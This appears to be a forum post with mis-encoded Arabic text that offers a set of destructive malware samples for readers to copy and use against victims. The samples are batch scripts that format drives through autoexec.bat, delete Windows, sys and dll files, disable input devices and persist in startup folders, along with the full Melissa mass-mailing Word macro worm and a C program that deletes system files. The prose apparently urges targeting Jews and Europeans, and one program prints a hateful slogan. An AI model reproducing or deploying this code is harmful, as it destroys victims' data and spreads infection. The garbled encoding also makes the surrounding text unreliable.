ÇáÓáÇã Úáíßã ÇäåÇÑÏÉ ÈÇÐä Çááå
ÓæÝ ÇÚØíßã Çáíæã ãÌãæÚÉ ÝíÑæÓÇÊ ÛíÑ ãÚÑæÝÉ ÈÚÖ ÎØíÑ æÈÚÖ ÇáÇÎÑ ÛíÑ ÎØíÑ ããßä ÊÌää ÌåÇÒ ÇáÖÍíÉ áÇ ÇÍÏ íÎÇÝ ÇÓÊÚãáæ ÝÞØ Úáì ÇÌåÒÉ ÇáíåæÏ æÇæÑÈÇ íãßäß ÇÓÊÎÏÇãÉ Úáì ÌåÇÒ ÇáÖÍíÉ Úä ØÑíÞ ÈÑäÇãÌ ÈíÝÑæÓÊ Çæ ÇáäÌÑÇÊ Úä ØÑíÞ ÑÝÚå áÌåÇÒ ÇáÖÍíÉ
ßæÏ ÇáÝíÑÓ
ÇÞÏã áßã åÐÇ ÇáÝíÑæÓ æåæ Þæì ÌÏÇ áÇäå íÞæã ÈÇáÇÊáÇÚÈ Èì ÇáãáÝÇÊ æÇÎÝÇÆåÇ æÊÛíÑ ÇáÇãÊÏÇÏ æåßÐÇ
ßæÏ ÇáÝíÑÓ
ßæÏ:
@echo off title VIRUS color a :1 dir/s goto 1
áÇ ÊÝßÑ Ýì ÝÊÍå ÈÚÏ ÕäÚå
-----------------------------------------------------
Ýí ãßÇä BB7R
Ç ßÊÈ ÑÓÇáÊß ^_^
ßæÏ:
@echo off
cls
:a
start
msg * bb7r ????
áÇ ÊÝßÑ Ýì Çä ÊÝÊÍå
------------------------------------------------------------------
åÐÇ ÇáÝíÑæÓ ÚäÏ ÇÑÓÇáå ááÖÍíå íÞæã ÈÊÚØíá ÇáãÇæÓ æÇáßíÈæÑÏ
ßæÏ:
@echo off
C:\WINDOWS\rundll***** mouse,disable
C:\WINDOWS\rundll***** keyboard,disable
copy key.BAT C:\WINDOWS\startm~1\programs\startup
copy key.BAT C:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
copy key.BAT D:\Docume~1\ALLUSE~1\StartM~1\Programs\Startup
CLS
echo abohacker
shutdown -s
-------------------------------------------------
åÐÇ ÇáÝíÑæÓ æåæ íÞæã ÈÊÚØíá ÇáÓÇÚå æáÇ ÊÓØíÚ ÊÈØåÇ
ßæÏ:
@echo off
DATE 14-02-1995
Time 7.77
attrib +r +s +h ExtraBus.bat
----------------------------------------------------------------
ØÈÚÇ Çáßá íÚáã ãÇåæ ÝíÑæÓ ãáíÓÇ æãÇ äÊÌ Úäå ãä ÇÖÑÇÑ ßÈíÑå Ýì ÇáÇÌåÒå ÇáÇä ÊÓíÚ ÕäÇÚÊå
æáßä áÇÊÌÑÈåÇ Ýì ÇÎæß áãÓáã
ÇáßæÏ
ßæÏ:
Private Sub AutoOpen() On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") = 1&
Else p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapi****, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapi**** = UngaDasOutlook.Get****Space("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapi****.Logon "profile", "password"
For y = 1 To DasMapi****.AddressLists.Count
Set AddyBook = DasMapi****.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.User****
BreakUmOffASlice.**** = "Here is that ******** you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.Full****
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapi****.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.**** <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.**** = "Melissa"
DoAD = True
End If
If NTI1.**** <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.**** = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.****, "********") = False) Then
Active********.SaveAs File****:=Active********.Full****
ElseIf (InStr(1, Active********.****, "********") <> False) Then
Active********.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.Type**** "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Im outta here."
--------------------------------------------------------------------
åÐÇ ÝíÑæÓ ÎØíÑ ÌÏÇ íÞæã ÈÚãá ÝæÑãÇÊ ááÇÞÑÇÕ " c : e : d : f "
Çì íÚäì íÞæã ÈãÓÍ ßá ÇáãáÝÇÊ ÇáãæÌæÏå ÏÇÎá Êáß ÇáÇÞÑÇÕ æíÈÞì áß ÇáåÇÑÏ ÝÇÑÛ ÊãÇãÇ áÇäÝÚ ãäå .
ÇÍÐÑ ãä ÇáÝíÑæÓÇÊ æáÇ ÊÌÑÈåÇ Úáì äÝÓß .
ÇáßæÏ
ßæÏ:
call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo Smart Hacker
c:\windows\rundll***** user*****,exitwindowsexec
------------------------------------------------------------------------
æÙíÝÊåÇ ÍÐÝ ãáÝÇÊ ÇáÜsys æ dll åÐÇ ÇáÝíÑæÓ ÓæÝ íäÊåí ÇáÌåÇÒ æáÇÒã ÊÝÑãÊå ãä
ÌÏíÏÉ
ÇáßæÏ
ßæÏ:
echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
ãáÍæÙÉ áÇÒã ÊØÈÞåÇ Úáì ÇáÝíÑæÓ Ïå
"ÇÍÝÙå ÈÃÓã " AUTOEXEC.BAT
æáÇ ÊÝßÑ ÊÝÊÍå
---------------------------------------------------
æåÐÇ ÝíÑæÓ ÎØíÑ ÞáíáÇð
ÇáßæÏ
ßæÏ:
del C:windows *.ini *.exe *.scr *.txt *.log
del C:windowssystem32 *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll
del C:windowssystem *.ini *.exe *.scr *.txt *.log *.nls *.drf *.reg *.sys *.dll
ãåã
"ÇÍÝÙå ÈÃÓã maker.bat"
æáÇ ÊÝÊÍå
-----------------------------------------
ÝíÑæÓ ÇÎÑ Úãá ÝæÑãÇÊ C,D,E,F
ÇáßæÏ
ßæÏ:
call attrib -h -r c:\autoexec.bat >nul
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
echo format e: /q /u /autotest >nul >>c:\autoexec.bat
echo format f: /q /u /autotest >nul >>c:\autoexec.bat
echo I love my girl
echo Smart Hacker
"ÇÍÝÙå ÈÃÓã not.bat"
-----------------------------------------------------ÝíÑæÓ Úãá ÝæÑãÇÊ ááÌåÇÒ ÝæÑÇð
ßæÏ
ßæÏ:
echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
ÇÍÝÙå ÈÃÓã not.bat
--------------------------------------------------
æÞÊ Çåã ÝÇíÑæÓ ÝÇíÑæÓ ãÏãÑ
ÇáßæÏ
ßæÏ:
echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
ÇÍÝÙå ÈÃÓã not.bat
---------------------------------------
ÝÇíÑæÓ c++
Code
ßæÏ:
#include
#include
#include
main()
{
clrscr();
printf("tttWelcome to the Egyption -oO Virus Oo-nn");
printf("ttFuck -oO Israel Oo- and -oO America Oo-nn");
remove("c:\windows\system.ini");
remove("c:\windows\win.ini");
remove("c:\autoexec.bat");
remove("c:\msdos.sys");
remove("c:\io.sys");
remove("c:\command.com");
remove("c:\config.sys");
remove("c:\windows\ebd\command.com");
remove("c:\windows\ebd\ebd.cab");
remove("c:\windows\ebd\Autoexec.bat");
remove("c:\windows\ebd\setramd.bat");
remove("c:\windows\ebd\Findramd.exe");
rename("egypt.exe","c:/windows/startm~1/programs/startup/win.exe");
printf("Windows destroyed ...nn");
system("PAUSE");
}
Çåã ÔÆ áÇ ÊÝÊÍå
Ëã ÇÍÝÙå ÈÃÓã note.bat
----------------------------------------
æÇáÂä äíÌì áÂÎÑ ÝÇíÑæÓ ãÚÇäÇ
ÝÇíÑæÓ ÞÊá ÇáæíäÏæÒ æÍÐÝ ßá ÇáãáÝÇÊ ÈÚÏ ÇáÊÔÛíá ãÈÇÔÑÉ
ßæÏ
ßæÏ:
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
echo Smart Hacker
-------------------------------------------
 |
|
 |
|
ÑßÒ Ýì ÇáÚäæÇä "ááíåæÏ ÝÞØ" |
|
 |
|
 |
ãäÐ /07-21-2014, 10:32 PM
åá ÓãÚÊ ÈÇáÏãÇÑ ÇáÔÇãá åäÇ ÓÊÌÏ ÇáÏãÇÑ ÈÇáÞäÇÈá æÇáãÏÝÚíÇÊ ááíåæÏ ÝÞØ
ÑÏ: åá ÓãÚÊ ÈÇáÏãÇÑ ÇáÔÇãá åäÇ ÓÊÌÏ ÇáÏãÇÑ ÈÇáÞäÇÈá æÇáãÏÝÚíÇÊ ááíåæÏ ÝÞØ
ÌÏíÏ ÞÓã ÅÎÊÑÇÞ ÇáÃÌÜåÜÒå æÇáÃíÜãÜíÜáÇÊ
ÇáÚÑÖ ÇáãÊØæÑ
